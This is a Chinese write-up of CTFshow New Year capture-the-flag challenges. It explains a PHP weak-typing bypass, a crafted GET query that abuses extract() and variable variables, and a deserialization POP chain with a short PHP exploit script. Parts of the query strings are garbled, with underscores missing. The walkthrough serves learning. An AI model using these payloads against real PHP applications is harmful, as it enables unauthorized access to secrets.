CTFSHOW 年CTF

1.除夕

php的弱类型,用小数点绕过 这里后面直接加字母不行

2.初三

复制代码
error_reporting(0);
extract($_GET);
include "flag.php";
highlight_file(__FILE__);

这里通过extract将get的参数导入为了变量

复制代码
$_=function($__,$___){
    return $__==$___?$___:$__;
};

这里通过了

_是这个函数的变量 __ $___是函数接收到的参数

通过三元运算 即 __ == ___ 来比较参数是不是相同,相同返回__ ,不相同返回___

复制代码
$$__($_($_GET{
    $___
}[$____]{
    $_____
}(),$flag));


$$__($_($_GET{$___}[$____]{$_____}(),$flag));

这里__和后面的分开来看,$_就是上面的自定义函数,这里我们分析函数是没有输出能力的,所以__就是var_dump用于输出后面的内容,回到函数 传入的第一个参数__就是GET{___}\[]{_____}()第二个参数就是flag,回到上面的函数中,我们要输出flag 就是输出,在上面的三元运算中知道,__和一样就会返回___所以我们构造GET{___}\[]{_____}()为flag 或者为true

这里配合extract我们就可以传入$的参数为var_dump 即 /?=a&a=var_dump

因为还有()所以是个无参函数,

复制代码
<?php
phpinfo() == 'zx';
//bool(true)

弱类型中phpinfo()是true这里使用phpinfo

这里的

复制代码
$_GET{$___}[$____]{$_____}

这里的三个___ ____ _____都是通过_get获取的,这里也是个三维数组,其中第一维的键名为,第二维为____,第三维为__我们可以传入类似/?=b&_=c&_____=d的get请求,这个就是一个三维数组$_GET'b''c''d',所以我们构造'b''c''d'=phpinfo,最后我们再传入xbc=phpinfo,就完成了三维数组的构造

?=a&a=var_dump&=b&___=c&_____=d&bcd=phpinfo

3.初六

复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-01-18 08:46:07
# @Last Modified by:   h1xa
# @Last Modified time: 2023-01-18 11:19:09
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include "flag.php";

class happy2year{

    private $secret;
    private $key;

    function __wakeup(){
        $this->secret="";
    }
    
    function __call($method,$argv){
        
        return call_user_func($this->key, array($method,$argv));
    }


    function getSecret($key){
        $key=$key?$key:$this->key;
        return $this->createSecret($key);    
    }


    function createSecret($key){
        return base64_encode($this->key.$this->secret);
    }

    function __get($arg){
        global $flag;
        $arg="get".$arg;
        $this->$arg = $flag;
        return $this->secret;
    }

    function __set($arg,$argv){
        $this->secret=base64_encode($arg.$argv);
        
    }

    function __invoke(){
        
        return $this->$secret;
    }
    

    function __toString(){
    
        return base64_encode($this->secret().$this->secret);
    }

    
    function __destruct(){
        
        $this->secret = "";
    }
    


}

highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){
    $secret = $obj->getSecret($key);
    print("你提交的key是".$key."\n生成的secret是".$secret);

highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){
    $secret = $obj->getSecret($key);
    print("你提交的key是".$key."\n生成的secret是".$secret);

通过这一段我们知道反序列化后先回调用getSecret而在happy2year中

复制代码
 function createSecret($key){
        return base64_encode($this->key.$this->secret);
    }

这里把两个变量进行了拼接,也就是把对象当作了字符串会触发tostring

复制代码
  function __toString(){
    
        return base64_encode($this->secret().$this->secret);
    }

里面调用了secret方法而不存在这个方法所以回触发call

复制代码
    function __call($method,$argv){
        
        return call_user_func($this->key, array($method,$argv));
    }

通过key = _POST'key';我们找到了可以构造的参数key

在回调函数中第一个是函数 也就是这里的$this_key被当成了函数执行回调用invoke

复制代码
function __invoke(){
        
        return $this->$secret;
    }

调用了this-\>secret 但是secret是私有属性触发get

复制代码
 function __get($arg){
        global $flag;
        $arg="get".$arg;
        $this->$arg = $flag;
        return $this->secret;
    }

get中arg=get 拼接 arg 而get(arg)他接收的就是secret 也就是arg='getsecret'

然后this-\>arg=$flag

给一个未定义的属性赋值时,触发__set

复制代码
 function __set($arg,$argv){
        $this->secret=base64_encode($arg.$argv);
        
    }

set中接收arg argv arg就是getsecret argv就是接收的数据flag

这样.sercrt里面就有了flag

复制代码
exp
<?php
class happy2year{
	private $secret;
    private $key;
	function __construct(){
                $this->key=$this;
        }

}
$a=new happy2year();
echo urlencode(serialize($a));

?>

三次base解码得到flag

相关推荐
腾视科技-AI7 小时前
腾视科技AIBOX双版本重磅发布!本地安全与全球适配,解锁视频智能新可能
大数据·人工智能·科技·安全·大模型·腾视科技·ai算力盒
迪康coolmu7 小时前
企业文档安全防护体系拆解:从备份、防勒索到全链路水印管控
安全
Rain的Java大神之路8 小时前
JavaWeb开发如何解决跨域问题
java·前端·后端·nginx·web安全·面试·运维开发
技术不好的崎鸣同学11 小时前
第一章:PEB结构解析与内存定位
windows·安全·系统安全
古养摩登原始人12 小时前
脑机接口合规最新发展:从政策到实践,构建安全可控的技术生态
人工智能·安全
Multipath71213 小时前
乾元通基于原生UDP时隙感知的多链路聚合方案
网络·网络协议·5g·安全·udp·智能路由器·实时音视频
liuyunshengsir14 小时前
Codex Harness 安全沙箱机制原理:AI 编程代理如何安全地执行命令
人工智能·安全
LorryJovens15 小时前
【LAAP论文】Chat GPT6来临:当一个强认知框架下的harness工程遇到强模型的安全对齐应对的调查研究
安全
Flynt16 小时前
Chrome 修了个零日漏洞,你的 VS Code 和 Cursor 可能还在裸奔
安全·electron·visual studio code
TechWayfarer16 小时前
做IP归属地查询时总是查不准?IP纯净度检测实战:从“查归属地“到识别“脏IP“的四个维度
服务器·网络·python·tcp/ip·安全·web安全